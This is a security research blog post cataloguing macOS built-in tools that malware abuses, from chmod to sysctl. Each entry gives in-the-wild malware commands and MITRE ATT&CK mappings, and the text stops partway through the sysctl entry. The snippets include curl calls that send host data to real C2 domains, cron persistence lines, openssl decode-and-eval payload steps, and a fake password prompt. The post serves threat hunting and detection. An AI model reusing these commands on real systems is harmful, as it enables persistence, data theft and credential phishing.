CINXE.COM

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class="post-48810 labs type-labs status-publish has-post-thumbnail hentry tag-osx tag-ttp labs_category-security-research"> <div class="context wow fadeInRight"> <div class="flourish"></div> <div class="heading"> <div class="info"> <a href="https://www.sentinelone.com/labs/category/security-research/">Security Research</a> </div> <h1 class="entry-title">20 Common Tools & Techniques Used by macOS Threat Actors & Malware</h1> </div> <div class="meta"> <span class="author"> <span><a href="https://www.sentinelone.com/blog/author/macoswriter/">Phil Stokes</a></span> </span> / <span class="date"> <a href="https://www.sentinelone.com/blog/2021/02/" rel="nofollow"> <time datetime="2021-02-16">February 16, 2021</time> </a> </span> </div> </div> <div class="entry-content"> <p>In a recent two-part series of blog posts on Medium, <a href="https://medium.com/bugbountywriteup/common-tools-techniques-used-by-threat-actors-and-malware-part-i-deb05b664879" target="_blank" rel="noopener noreferrer">Nasreddine Bencherchali</a> took to exploring some of the common tools and techniques used by threat actors and malware targeting the Windows platform, with a particular focus on <a href="https://www.sentinelone.com/blog/how-do-attackers-use-lolbins-in-fileless-attacks/" target="_blank" rel="noopener noreferrer">LOLBins</a> or “Living off the Land binaries”. It’s such an excellent guide for threat hunting and compiling detection rules for Windows that we thought: “wouldn’t it be cool to have a similar guide for macOS malware?”</p> <p>Looking back at campaigns directly targeting the macOS platform for the last several years, we have rounded up 20 of the most commonly used built-in tools (ab)used by threat actors, malware, and adware, complete with in-the-wild examples and associated MITRE behavioral indicators. We’ve also added links for each threat so that you can follow up on further details such as IoCs, hashes and researcher analyses.</p> <h2>chmod (/bin/chmod)</h2> <p>Change file modes or Access Control Lists. Generally used by malware in order to give executable permissions to an executable payload retrieved remotely from a C2.</p> <p><b>Common Arguments</b><br /> <code>chmod +x</code><br /> <code>chmod -R 755</code><br /> <code>chmod 777</code></p> <p><b>ITW Examples</b><br /> <a href="https://www.sentinelone.com/blog/scripting-macs-with-malice-how-shlayer-and-other-malware-installers-infect-macos/" target="_blank" rel="noopener noreferrer">Bundlore</a><br /> <code>chmod -R 755 /var/folders/vq/04qz73bd7zb27d3b6r7rc6zr0000gq/T/x.mykHCy73</code><br /> <a href="https://www.trendmicro.com/en_us/research/20/h/xcsset-mac-malware--infects-xcode-projects--uses-0-days.html" target="_blank" rel="noopener noreferrer">XCSSET</a><br /> <code>chmod +x "xcassets"</code><br /> <a href="https://www.sentinelone.com/blog/coming-out-of-your-shell-from-shlayer-to-zshlayer/" target="_blank" rel="noopener noreferrer">Shlayer</a><br /> <code>chmod 777 /tmp/ZQEifWNV2l</code><br /> <a href="https://www.sentinelone.com/blog/is-searchmine-adware-teeing-up-your-endpoints-for-other-threat-actors/" target="_blank" rel="noopener noreferrer">SearchMine.Adware</a><br /> <code>/bin/chmod +x “${tmpFile}”</code></p> <p><b>Associated MITRE Techniques</b><br /> The following techniques from MITRE ATT&CK are associated with this tool:</p> <ul> <li aria-level="1">File and Directory Permissions Modification <a href="https://attack.mitre.org/techniques/T1222/002/" target="_blank" rel="noopener noreferrer">T1222</a></li> </ul> <h2>chown (/usr/sbin/chown)</h2> <p>Change file owner and group. This utility is used by malware to change the user ID and/or the group ID of the specified files. This can lock other users’ out of access to the file, thus hampering removal or inspection. It may also be required in order to execute a file in certain, elevated context.</p> <p><b>Common Arguments</b><br /> <code>chown -R <user[:group]></code></p> <p><b>ITW Examples</b><br /> <a href="https://www.sentinelone.com/blog/weakest-link-admins-get-phished-macos-osx-dummy-malware/" target="_blank" rel="noopener noreferrer">OSX.Dummy</a><br /> <code>chown root /tmp/script.sh</code><br /> <a href="https://www.intego.com/mac-security-blog/new-osxshlayer-malware-variant-found-using-a-dirty-new-trick/" target="_blank" rel="noopener noreferrer">MMInstall</a><br /> <code>/usr/sbin/chown -R root:wheel /Applications/MyCouponsmart</code><br /> <code>/usr/sbin/chown -R root:wheel /Users/user/Applications/SecureMacUpdates</code></p> <p><b>Associated MITRE Techniques</b><br /> The following techniques from MITRE ATT&CK are associated with this tool:</p> <ul> <li aria-level="1">File and Directory Permissions Modification <a href="https://attack.mitre.org/techniques/T1222/002/" target="_blank" rel="noopener noreferrer">T1222</a></li> </ul> <h2>crontab (/usr/bin/crontab)</h2> <p>List, install and remove rules for the <code>cron</code> daemon. <a href="https://ss64.com/osx/crontab.html" target="_blank" rel="noopener">Crontab</a> is commonly leveraged as a means to achieve persistence on macOS either in addition to or instead of installing agents and daemons via <a href="https://ss64.com/osx/launchctl.html" target="_blank" rel="noopener">launchctl</a>. Threat actors may also enumerate existing crontabs in order to manipulate them.</p> <p><b>Common Arguments</b><br /> <code>crontab -l</code><br /> <code>echo '<*/num> * * * * ' | crontab -</code></p> <p><b>ITW Examples</b><br /> <a href="https://github.com/EmpireProject/EmPyre" target="_blank" rel="noopener noreferrer">Empyre</a><br /> <code>cmd = 'crontab -l | { cat; echo "0 * * * * %s"; } | crontab -'</code><br /> <a href="https://securelist.com/gravityrat-the-spy-returns/99097/" target="_blank" rel="noopener noreferrer">GravityRAT</a><br /> <code>sudo crontab -l 2>/dev/null; echo "*/2 * * * * s</code><br /> <a href="https://github.com/n1nj4sec/pupy" target="_blank" rel="noopener noreferrer">Pupy RAT</a><br /> <code>cat /etc/passwd | cut -d ":" -f 1 | xargs -n1 crontab -l -u</code><br /> <a href="https://www.sentinelone.com/blog/how-a-new-macos-malware-dropper-delivers-vindinstaller-adware/" target="_blank" rel="noopener noreferrer">VindInstaller</a><br /> <code>crontab -l > /tmp/file</code></p> <p><b>Associated MITRE Techniques</b><br /> The following techniques from MITRE ATT&CK are associated with this tool:</p> <ul> <li aria-level="1">Persistence <a href="https://attack.mitre.org/tactics/TA0003/" target="_blank" rel="noopener noreferrer">TA0003</a></li> <li aria-level="1">Scheduled Task/Job: Cron <a href="https://attack.mitre.org/techniques/T1053/003/" target="_blank" rel="noopener noreferrer">T1053</a></li> </ul> <h2>csrutil (/usr/bin/csrutil)</h2> <p>Read <a href="https://developer.apple.com/documentation/security/disabling_and_enabling_system_integrity_protection" target="_blank" rel="noopener">System Integrity Protection</a> (SIP) status. Introduced in macOS 10.11, this utility has only one publicly documented use, which is to return the status of the System Integrity Protection tool. The <a href="https://ss64.com/osx/csrutil.html" target="_blank" rel="noopener">csrutil</a> tool is commonly used by malware and post-exploitation tools to determine whether certain files and directories on the system are writable or not.</p> <p><b>Common Arguments</b><br /> <code>csrutil status</code></p> <p><b>ITW Examples</b><br /> <a href="https://github.com/khaleds-brain/Bella" target="_blank" rel="noopener noreferrer">Bella</a></p> <pre>if systemVersion.startswith("10.11") or systemVersion.startswith("10.12"): csrutil = subprocess.Popen(["csrutil status"], stdout=subprocess.PIPE, shell=True) (out, err) = csrutil.communicate() if "disabled" in out: send_msg(greenPlus + out, False) sipEnabled = False #SIP function exists, but is specifically and intentionally disabled! (enterprise environments likely have this config) </pre> <p><a href="https://www.virustotal.com/gui/file/6f8d55aa6188a98b668f7aaa5adb20c0773a97dc1735bdfd7cd6e9d61a28280a/detection" target="_blank" rel="noopener noreferrer">MacSearch</a><br /> <code>/usr/bin/csrutil</code><br /> <a href="https://www.virustotal.com/gui/file/34b793005bbec0e9eca805c712f6a37b38ba6b8e58b571b61e6bfe8f9c53a197/detection" target="_blank" rel="noopener noreferrer">OSX.Proton.C</a><br /> <code>csrutil status</code></p> <p><b>Associated MITRE Techniques</b><br /> The following techniques from MITRE ATT&CK are associated with this tool:</p> <ul> <li aria-level="1">System Information Discovery <a href="https://attack.mitre.org/techniques/T1082/" target="_blank" rel="noopener noreferrer">T1082</a></li> </ul> <h2>curl (/usr/bin/curl)</h2> <p>Transfer data to or from a server without user interaction. One of the most useful tools in the malware author’s toolkit, <a href="https://ss64.com/osx/curl.html" target="_blank" rel="noopener">curl</a> is used widely in threats of all kinds, from PUPs and adware to trojans, backdoors, and APT implants, in order to download payloads, exfiltrate user data, and track campaigns via unique identifiers. Monitoring for malicious use of <code>curl</code> is a must for all security teams.</p> <p><b>Common Arguments</b><br /> <code>curl -k -s -L -o</code></p> <p><b>ITW Examples</b><br /> <a href="https://www.sentinelone.com/labs/detecting-macos-gmera-malware-through-behavioral-inspection/" target="_blank" rel="noopener noreferrer">OSX.GMERA</a><br /> <code>req=`curl -ks "http://owpqkszz.info/link.php?${whoami}&${ip}"`</code><br /> <a href="https://www.sentinelone.com/blog/coming-out-of-your-shell-from-shlayer-to-zshlayer/" target="_blank" rel="noopener noreferrer">Shlayer</a><br /> <code>curl -fsL "$url" >$tmp_path</code><br /> <a href="https://www.sentinelone.com/blog/scripting-macs-with-malice-how-shlayer-and-other-malware-installers-infect-macos/" target="_blank" rel="noopener noreferrer">Bundlore</a><br /> <code>curl -s -L -o "${dir}/stmp.tar.gz" "${dlUrl}"</code><br /> <a href="https://objective-see.com/blog/blog_0x26.html" target="_blank" rel="noopener noreferrer">OSX.Mami</a><br /> <code>do curl -L -f -v --create-dirs -o '/Users/user/Library/Application Support/Cyclonica/Cyclonica'</code><br /> <a href="https://www.trendmicro.com/en_us/research/20/h/xcsset-mac-malware--infects-xcode-projects--uses-0-days.html" target="_blank" rel="noopener noreferrer">XCSSET</a><br /> <code>curl --connect-timeout 10 -sk https://flixprice.com/agent/log.php</code></p> <p><b>Associated MITRE Techniques</b><br /> The following techniques from MITRE ATT&CK are associated with this tool:</p> <ul> <li aria-level="1">Command and Control <a href="https://attack.mitre.org/tactics/TA0011/" target="_blank" rel="noopener noreferrer">TA0011</a></li> <li aria-level="1">Exfiltration <a href="https://attack.mitre.org/tactics/TA0010/" target="_blank" rel="noopener noreferrer">TA0010</a></li> <li aria-level="1">Exfiltration Over Alternative Protocol <a href="https://attack.mitre.org/techniques/T1048/" target="_blank" rel="noopener noreferrer">T1048</a></li> </ul> <h2>dirname (/usr/bin/dirname)</h2> <p>Returns the filename or directory portion of a pathname. The <a href="https://ss64.com/osx/basename.html" target="_blank" rel="noopener">dirname</a> utility and its companion utility <code>basename</code> are both used widely by threat actors as a means of constructing installation paths and locating relative assets based on the executing parent’s location. Whereas <code>dirname</code> returns the full path to the parent of the current working directory, <code>basename</code> returns the name of the current working directory without the preceding path.</p> <p><b>Common Arguments</b><br /> <code>dirname <path></code><br /> <code>basename <path></code></p> <p><b>ITW Examples</b><br /> <a href="https://www.trendmicro.com/en_us/research/20/h/xcsset-mac-malware--infects-xcode-projects--uses-0-days.html" target="_blank" rel="noopener noreferrer">XCSSET</a><br /> <code>dirname /Users/user/Library/LaunchAgents/com.apple.core.accountsd.plist</code></p> <p><code>sh -c basename '/Users/user/Library/Application Scripts/com.apple.AddressBook.Shared/CoreFrameworks/com.oracle.java.sound.app'</code><br /> <a href="https://www.sentinelone.com/labs/apt32-multi-stage-macos-trojan-innovates-on-crimeware-scripting-technique/" target="_blank" rel="noopener noreferrer">OceanLotus</a><br /> <code>dirname /Users/user/Downloads/ALL tim nha Chi Ngoc Canada.︀doc</code><br /> <a href="https://www.sentinelone.com/blog/is-searchmine-adware-teeing-up-your-endpoints-for-other-threat-actors/" target="_blank" rel="noopener noreferrer">MMInstall</a><br /> <code>dirname /Applications/MyCouponsmart/MyCouponsmart</code><br /> <a href="https://www.sentinelone.com/blog/coming-out-of-your-shell-from-shlayer-to-zshlayer/" target="_blank" rel="noopener noreferrer">Shlayer</a><br /> <code>appDir="$(dirname $(dirname "$currentDir"))"</code></p> <p><b>Associated MITRE Techniques</b><br /> The following techniques from MITRE ATT&CK are associated with this tool:</p> <ul> <li aria-level="1">File and Directory Discovery <a href="https://attack.mitre.org/techniques/T1083/" target="_blank" rel="noopener noreferrer">T1083</a></li> </ul> <h2>ioreg (/usr/sbin/ioreg)</h2> <p>Displays the I/O Kit registry. This Unix binary is widely used by many malware families to determine the device’s unique ID (for campaign tracking), usually in the form of the machine’s serial number. This may or may not be hashed with another utility (e.g., md5) before being sent to the C2. To facilitate anti-analysis and evasion, <a href="https://www.unix.com/man-page/osx/8/ioreg/" target="_blank" rel="noopener">ioreg</a> is also used by some threat actors to determine whether the device is running in a virtual environment.</p> <p><b>Common Arguments</b><br /> <code>ioreg -c IOPlatformExpertDevice -d 2 | awk -F'"' '/IOPlatformSerialNumber/{print $(NF-1)}'</code></p> <p><b>ITW Examples</b><br /> <a href="https://www.sentinelone.com/blog/osx-cpumeaner-miner-trojan-software-pirates/" target="_blank" rel="noopener noreferrer">OSX.CpuMeaner</a><br /> <code>ioreg -rd1 -w0 -c AppleAHCIDiskDriver | awk '/Serial Number/{gsub(""", "", $4);print $4}'</code><br /> <a href="https://www.sentinelone.com/blog/trail-osx-fairytale-adware-playing-malware/" target="_blank" rel="noopener noreferrer">OSX.Fruitfly</a><br /> <code>ioreg -l | grep -e 'VirtualBox' -e 'Oracle' -e 'VMware' -e 'Parallels' | wc -l</code><br /> <a href="https://www.sentinelone.com/labs/apt32-multi-stage-macos-trojan-innovates-on-crimeware-scripting-technique/" target="_blank" rel="noopener noreferrer">OceanLotus</a><br /> <code>ioreg -rd1 -c IOPlatformExpertDevice | awk '/IOPlatformSerialNumber/ { split($0, line, "\""); printf("%s", line[4]); }'</code></p> <p><b>Associated MITRE Techniques</b><br /> The following techniques from MITRE ATT&CK are associated with this tool:</p> <ul> <li aria-level="1">System Information Discovery <a href="https://attack.mitre.org/techniques/T1082/" target="_blank" rel="noopener noreferrer">T1082</a></li> </ul> <h2>kill (built-in), pkill (/usr/bin/pkill), killall (/usr/bin/killall)</h2> <p>These related commands are used to kill processes (<a href="https://ss64.com/osx/kill.html" target="_blank" rel="noopener">kill</a>, <a href="https://ss64.com/osx/pkill.html" target="_blank" rel="noopener">pkill</a>) and applications (<a href="https://ss64.com/osx/killall.html" target="_blank" rel="noopener">killall</a>). Typically, malware actors use these on macOS for evasion and anti-analysis, such as killing the Activity Monitor or the Terminal to prevent users inspecting processes.</p> <p><b>Common Arguments</b><br /> <code>killall </code><br /> <code>kill -9 </code><br /> <code>pkill </code></p> <p><b>ITW Examples</b><br /> <a href="https://www.sentinelone.com/wp-content/uploads/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/" target="_blank" rel="noopener noreferrer">macOS.OSAMiner</a><br /> <code>killall Terminal</code><br /> <a href="https://www.trendmicro.com/en_us/research/20/h/xcsset-mac-malware--infects-xcode-projects--uses-0-days.html" target="_blank" rel="noopener noreferrer">XCSSET</a><br /> <code>xargs kill -9</code><br /> <a href="https://www.sentinelone.com/blog/scripting-macs-with-malice-how-shlayer-and-other-malware-installers-infect-macos/" target="_blank" rel="noopener noreferrer">Bundlore</a><br /> <code>pkill cfprefsd</code></p> <p><b>Associated MITRE Techniques</b><br /> The following techniques from MITRE ATT&CK are associated with this tool:</p> <ul> <li aria-level="1">Impair Defenses: Disable or Modify Tools <a href="https://attack.mitre.org/techniques/T1562/001/" target="_blank" rel="noopener noreferrer">T1562</a></li> </ul> <h2>launchctl (/bin/launchctl)</h2> <p>Interfaces with <a href="https://www.launchd.info" target="_blank" rel="noopener">launchd</a>. For the purposes of malware and threat actors, <a href="https://ss64.com/osx/launchctl.html" target="_blank" rel="noopener">launchctl</a> is a primary means of executing commands and programs, for stopping system or third-party services, and starting newly created persistence jobs installed as Launch Agents and Launch Daemons.</p> <p><b>Common Arguments</b><br /> <code>launchctl load </code><br /> <code>launchctl unload </code><br /> <code>launchctl stop</code><br /> <code>launchctl start</code><br /> <code>launchctl remove</code></p> <p><b>ITW Examples</b><br /> <a href="https://www.virustotal.com/gui/file/42f982cde3d7aa9c5b86abe6c94119f7e4351fe84fe5ede41a1f1f2e0ab45be0/detection" target="_blank" rel="noopener noreferrer">OSX.CoinMiner</a><br /> <code>launchctl load /Library/LaunchDaemons/com.apple.acc.installer.v1.plist</code><br /> <a href="https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/" target="_blank" rel="noopener noreferrer">Lazarus Family</a><br /> <code>launchctl load -w "%s/Library/LaunchAgents/%s"</code><br /> <a href="https://www.sentinelone.com/blog/how-to-catch-a-spy-detecting-finfisher-spyware-on-macos/" target="_blank" rel="noopener noreferrer">FinFisher/FinSpy</a><br /> <code>/bin/launchctl load</code><br /> <code>/bin/launchctl unload</code><br /> <a href="https://www.sentinelone.com/blog/weakest-link-admins-get-phished-macos-osx-dummy-malware/" target="_blank" rel="noopener noreferrer">OSX.Dummy</a><br /> <code>launchctl load -w</code></p> <p><img fetchpriority="high" decoding="async" class="alignnone size-full wp-image-28433" src="https://www.sentinelone.com/wp-content/uploads/labs/2021/02/launchctl.jpg" sizes="(max-width: 984px) 100vw, 984px" srcset="https://www.sentinelone.com/wp-content/uploads/labs/2021/02/launchctl.jpg 984w, https://www.sentinelone.com/wp-content/uploads/labs/2021/02/launchctl-300x147.jpg 300w, https://www.sentinelone.com/wp-content/uploads/labs/2021/02/launchctl-768x376.jpg 768w, https://www.sentinelone.com/wp-content/uploads/labs/2021/02/launchctl-96x47.jpg 96w" alt="" width="984" height="482" /></p> <p><b>Associated MITRE Techniques</b><br /> The following techniques from MITRE ATT&CK are associated with this tool:</p> <ul> <li aria-level="1">System Services: Launchctl <a href="https://attack.mitre.org/techniques/T1569/001/" target="_blank" rel="noopener noreferrer">T1569</a></li> <li aria-level="1">Scheduled Task/Job: Launchd <a href="https://attack.mitre.org/techniques/T1053/004/" target="_blank" rel="noopener noreferrer">T1053</a></li> <li aria-level="1">Create or Modify System Process: Launch Agent <a href="https://attack.mitre.org/techniques/T1543/001/" target="_blank" rel="noopener noreferrer">T1543.001</a></li> <li aria-level="1">Create or Modify System Process: Launch Daemon <a href="https://attack.mitre.org/techniques/T1543/004/" target="_blank" rel="noopener noreferrer">T1543.004</a></li> </ul> <h2>mktemp (/usr/bin/mktemp)</h2> <p>Make a unique filename. This useful utility is widely used by malware to make random, unique file and directory names for payloads. Despite the name, <a href="https://ss64.com/osx/mktemp.html" target="_blank" rel="noopener">mktemp</a> does not have to be used only in the <code>/tmp</code> directory.</p> <p><b>Common Arguments</b><br /> <code>mktemp -d </code><br /> <code>mktemp -t</code></p> <p><b>ITW Examples</b><br /> <a href="https://www.sentinelone.com/blog/scripting-macs-with-malice-how-shlayer-and-other-malware-installers-infect-macos/" target="_blank" rel="noopener noreferrer">Bundlore</a><br /> <code>tmpDir="$(mktemp -d /tmp/XXXXXXXXXXXX)</code><br /> <code>TMP_DIR=`mktemp -d -t x</code><br /> <a href="https://www.sentinelone.com/blog/coming-out-of-your-shell-from-shlayer-to-zshlayer/" target="_blank" rel="noopener noreferrer">Shlayer</a><br /> <code>export tmpDir="$(mktemp -d /tmp/XXXXXXXXXXXX)"</code></p> <p><b>Associated MITRE Techniques</b><br /> The following techniques from MITRE ATT&CK are associated with this tool:</p> <ul> <li aria-level="1">Hide Artifacts <a href="https://attack.mitre.org/techniques/T1564/" target="_blank" rel="noopener noreferrer">T1564</a></li> </ul> <h2>openssl (/usr/bin/openssl)</h2> <p>Cryptography toolkit, <a href="https://ss64.com/osx/openssl.html" target="_blank" rel="noopener">openssl</a> is used widely by attackers, often in conjunction with <a href="https://www.sentinelone.com/blog/guide-encode-decoded-base64/" target="_blank" rel="noopener">base64</a>, to encode and decode malware to hide it from detection.</p> <p><b>Common Arguments</b><br /> <code>openssl enc -aes-256-cbc -d -A -base64 -k </code></p> <p><b>ITW Examples</b><br /> <a href="https://github.com/Marten4n6/EvilOSX" target="_blank" rel="noopener noreferrer">EvilOSX</a><br /> <code>os.popen("openssl req -newkey rsa:4096 -nodes -x509 -days 365 -subj "%s" -sha256 "</code><br /> <a href="https://www.sentinelone.com/blog/is-searchmine-adware-teeing-up-your-endpoints-for-other-threat-actors/" target="_blank" rel="noopener noreferrer">MMInstall</a><br /> <code>/bin/sh -c /usr/sbin/ioreg -c IOPlatformExpertDevice -d 2 | awk -F" '/IOPlatformSerialNumber/{print $(NF-1)}' | tr -d 'n'| openssl md5</code><br /> <a href="https://www.sentinelone.com/blog/coming-out-of-your-shell-from-shlayer-to-zshlayer/" target="_blank" rel="noopener noreferrer">Shlayer</a><br /> <code>openssl enc -aes-256-cbc -salt -md md5 -d -A -base64 -out /tmp/ZQEifWNV2l -pass "pass:0.6effariGgninthgiL0.6"</code><br /> <a href="https://www.sentinelone.com/blog/coming-out-of-your-shell-from-shlayer-to-zshlayer/" target="_blank" rel="noopener noreferrer">ZShlayer</a><br /> <code>eval "$(openssl enc -base64 -d -aes-256-cbc -nosalt -pass pass:10598344576 <"$fileDir"/Resources/talon)"</code></p> <p><b>Associated MITRE Techniques</b><br /> The following techniques from MITRE ATT&CK are associated with this tool:</p> <ul> <li aria-level="1">Deobfuscate/Decode Files or Information <a href="https://attack.mitre.org/techniques/T1140/" target="_blank" rel="noopener noreferrer">T1140</a></li> <li aria-level="1">Encrypted Channel: Asymmetric Cryptography <a href="https://attack.mitre.org/techniques/T1573/002/" target="_blank" rel="noopener noreferrer">T1573</a></li> </ul> <h2>osacompile (/usr/bin/osacompile)</h2> <p>Compile AppleScripts from given files or standard input into a singe output script. Files may be plain text or other compiled scripts. <a href="https://ss64.com/osx/osacompile.html" target="_blank" rel="noopener">Osacompile</a> is useful to malware that wants to take advantage of AppleScript’s <a href="https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/" target="_blank" rel="noopener noreferrer">many powerful features</a> such as controlling other applications’ behaviour, manipulating the GUI, faking user input and phishing for credentials.</p> <p><b>Common Arguments</b><br /> <code>osacompile -x -e <command></command></code><br /> <code>osacompile -x -o </code></p> <p><b>ITW Examples</b><br /> <a href="https://www.trendmicro.com/en_us/research/20/h/xcsset-mac-malware--infects-xcode-projects--uses-0-days.html" target="_blank" rel="noopener noreferrer">XCSSET</a><br /> <code>osacompile -x -e global dFolder</code><br /> <code>osacompile -x -o /Users/user/Library/Application Scripts/com.apple.AddressBook.Shared/CoreFrameworks/com.apple.core.okcx.app</code></p> <p><b>Associated MITRE Techniques</b><br /> The following techniques from MITRE ATT&CK are associated with this tool:</p> <ul> <li aria-level="1">Obfuscated Files or Information: Compile After Delivery <a href="https://attack.mitre.org/techniques/T1027/004/" target="_blank" rel="noopener noreferrer">T1027</a></li> </ul> <h2>osascript (/usr/bin/osascript)</h2> <p>Executes a given AppleScript, which may be plain text or a compiled script (.scpt). Scripts can also be specified line by line using <code>-e</code> switches on the command line, a technique popular among adware and browser manipulating malware. Although AppleScripts can be executed <a href="https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/" target="_blank" rel="noopener noreferrer">in other ways</a>, osascript is still the <a href="https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/" target="_blank" rel="noopener noreferrer">most common method</a> used by threat actors. It is also a particular favorite of various open source post-exploitation and RAT tools.</p> <p><b>Common Arguments</b><br /> <code>osascript -e <command></command></code></p> <p><b>ITW Examples</b><br /> <a href="https://github.com/Marten4n6/EvilOSX" target="_blank" rel="noopener noreferrer">EvilOSX</a><br /> <code>osascript -e 'tell app "iTunes" to activate' -e 'tell app "iTunes" to display dialog "Error connecting to iTunes. Please verify your password”</code><br /> <a href="https://github.com/n1nj4sec/pupy" target="_blank" rel="noopener noreferrer">Pupy RAT</a><br /> <code>cmd = 'osascript -e 'tell app "Finder" to display dialog "%s"'' % args.text</code><br /> <a href="https://github.com/neoneggplant/EggShell/blob/master/README.md" target="_blank" rel="noopener noreferrer">EggShell</a><br /> <code>cmd_data["args"] = " -e 'tell application "Finder" to sleep'"</code><br /> <a href="https://www.virustotal.com/gui/file/e8b32253cce202d3f7227f88c6cfeb3b7aab6daf1d8e5971598c51a20a4975bb/detection" target="_blank" rel="noopener noreferrer">Elite Keylogger</a><br /> <code>/usr/bin/osascript</code></p> <p><img decoding="async" class="alignnone size-full wp-image-28434" src="https://www.sentinelone.com/wp-content/uploads/labs/2021/02/osascript-scaled.jpg" sizes="(max-width: 2560px) 100vw, 2560px" srcset="https://www.sentinelone.com/wp-content/uploads/labs/2021/02/osascript-scaled.jpg 2560w, https://www.sentinelone.com/wp-content/uploads/labs/2021/02/osascript-300x106.jpg 300w, https://www.sentinelone.com/wp-content/uploads/labs/2021/02/osascript-1024x363.jpg 1024w, https://www.sentinelone.com/wp-content/uploads/labs/2021/02/osascript-768x272.jpg 768w, https://www.sentinelone.com/wp-content/uploads/labs/2021/02/osascript-1536x544.jpg 1536w, https://www.sentinelone.com/wp-content/uploads/labs/2021/02/osascript-2048x725.jpg 2048w, https://www.sentinelone.com/wp-content/uploads/labs/2021/02/osascript-1140x404.jpg 1140w, https://www.sentinelone.com/wp-content/uploads/labs/2021/02/osascript-1200x425.jpg 1200w, https://www.sentinelone.com/wp-content/uploads/labs/2021/02/osascript-96x34.jpg 96w" alt="" width="2560" height="907" /></p> <p><b>Associated MITRE Techniques</b><br /> The following techniques from MITRE ATT&CK are associated with this tool:</p> <ul> <li aria-level="1">Command and Scripting Interpreter: AppleScript <a href="https://attack.mitre.org/techniques/T1059/002/" target="_blank" rel="noopener noreferrer">T1059</a></li> </ul> <h2>ps (/bin/ps)</h2> <p>Display information about running processes. The process status (<a href="https://ss64.com/osx/ps.html" target="_blank" rel="noopener">ps</a>) command is to macOS (and Linux) what Tasklist is to Windows: an adversary’s primary means of understanding the device’s current execution environment. Aside from simply enumerating running processes, <code>ps</code> can be used to check on a given process’ start time, elapsed time, resource usage and the login name of the user who started it (among other things).</p> <p><b>Common Arguments</b><br /> <code>ps ax</code><br /> <code>ps -p -o etime=</code></p> <p><b>ITW Examples</b><br /> <a href="https://www.sentinelone.com/wp-content/uploads/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/">macOS.OSAMiner</a><br /> <code>ps ax | grep -E '360|Keeper|MacMgr|Lemon|Malware|Avast|Avira|CleanMyMac' | grep -v grep | awk '{print $1}'</code><br /> <a href="https://www.sentinelone.com/blog/osx-fruitfly-recycled-macos-still-vulnerable-old-perl-script/" target="_blank" rel="noopener noreferrer">OSX.Fruitfly</a><br /> <code>ps -eAo pid,thcount,ppid,nice,user,command 2>/dev/null</code><br /> <a href="https://www.virustotal.com/gui/file/ef6b3b0ba726d627c645032cb8115b8ce97d2ecc3778c0646f5897f739b9be27/detection" target="_blank" rel="noopener noreferrer">Pirrit</a><br /> <code>if ps -ef | grep -v grep | grep -q $frm; then</code><br /> <a href="https://github.com/khaleds-brain/Bella" target="_blank" rel="noopener noreferrer">Bella</a><br /> <code>check_output('ps -p %s -o etime=' % bellaPID)</code></p> <p><b>Associated MITRE Techniques</b><br /> The following techniques from MITRE ATT&CK are associated with this tool:</p> <ul> <li aria-level="1">Process Discovery <a href="https://attack.mitre.org/techniques/T1057/" target="_blank" rel="noopener noreferrer">T1057</a></li> </ul> <h2>sw_vers (/usr/bin/sw_vers)</h2> <p>Print operating system version information. It is common for malware to determine the macOS version of the target machine both to discover what APIs are available so that the correct payload can be installed and to ascertain what system defences or mitigations may be in place (e.g., System Integrity Protection, User Data Protections like Full Disk Access).</p> <p><b>Common Arguments</b><br /> <code>sw_vers</code><br /> <code>sw_vers -productName</code><br /> <code>sw_vers -productVersion</code><br /> <code>sw_vers -buildVersion</code></p> <p><b>ITW Examples</b><br /> <a href="https://www.sentinelone.com/blog/scripting-macs-with-malice-how-shlayer-and-other-malware-installers-infect-macos/" target="_blank" rel="noopener noreferrer">Bundlore</a><br /> <code>/usr/bin/sw_vers -productVersion</code><br /> <a href="https://securelist.com/gravityrat-the-spy-returns/99097/" target="_blank" rel="noopener noreferrer">GravityRAT</a></p> <pre>osinfo = os.popen('sw_vers -productName').read().strip() + '-' + os.popen('sw_vers -productVersion').read().strip() + '-' + os.popen('sw_vers -buildVersion').read().strip() + ',' + platform.platform() </pre> <p><a href="https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/" target="_blank" rel="noopener noreferrer">Lazarus/NukeSped</a><br /> <code>sw_vers -productName</code><br /> <code>sw_vers -productVersion</code><br /> <code>sw_vers -buildVersion</code></p> <p><b>Associated MITRE Techniques</b><br /> The following techniques from MITRE ATT&CK are associated with this tool:</p> <ul> <li aria-level="1">System Information Discovery <a href="https://attack.mitre.org/techniques/T1082/" target="_blank" rel="noopener noreferrer">T1082</a></li> </ul> <h2>sysctl (/usr/sbin/sysctl)</h2> <p>Retrieve kernel state and allow apps with appropriate privileges to set kernel state. Used by malware as a means of determining whether the execution parent is within a sandbox or virtual machine. The utility can also be used to determine, among other things, the amount of installed memory on the infected device.</p> <p><b>Common Arguments</b><br /> <code>sysctl -n hw.model</code></p> <p><b>ITW Examples</b><br /> <a href="https://github.com/khaleds-brain/Bella" target="_blank" rel="noopener noreferrer">Bella</a><br /> <code>sysctl -n machdep.cpu.brand_string; hostinfo | grep memory;</code><br /> <a href="https://github.com/Marten4n6/EvilOSX" target="_blank" rel="noopener noreferrer">EvilOSX</a><br /> <code>model_key = run_command("sysctl -n hw.model")</code><br /> <a href="https://www.sentinelone.com/blog/how-a-new-macos-malware-dropper-delivers-vindinstaller-adware/" target="_blank" rel="noopener noreferrer">Genieo</a></p> <pre>/usr/sbin/sysctl hw.optional.x86_64 hw.cpu64bit_capable </pre> <p><img decoding="async" class="alignnone size-full wp-image-28431" src="https://www.sentinelone.com/wp-content/uploads/labs/2021/02/sysctl.jpg" sizes="(max-width: 908px) 100vw, 908px" srcset="https://www.sentinelone.com/wp-content/uploads/labs/2021/02/sysctl.jpg 908w, https://www.sentinelone.com/wp-content/uploads/labs/2021/02/sysctl-300x80.jpg 300w, https://www.sentinelone.com/wp-content/uploads/labs/2021/02/sysctl-768x204.jpg 768w, https://www.sentinelone.com/wp-content/uploads/labs/2021/02/sysctl-96x25.jpg 96w" alt="" width="908" height="241" /></p> <p><a href="https://www.sentinelone.com/labs/apt32-multi-stage-macos-trojan-innovates-on-crimeware-scripting-technique/" target="_blank" rel="noopener noreferrer">OceanLotus</a><br /> <code>sysctl hw.model</code></p> 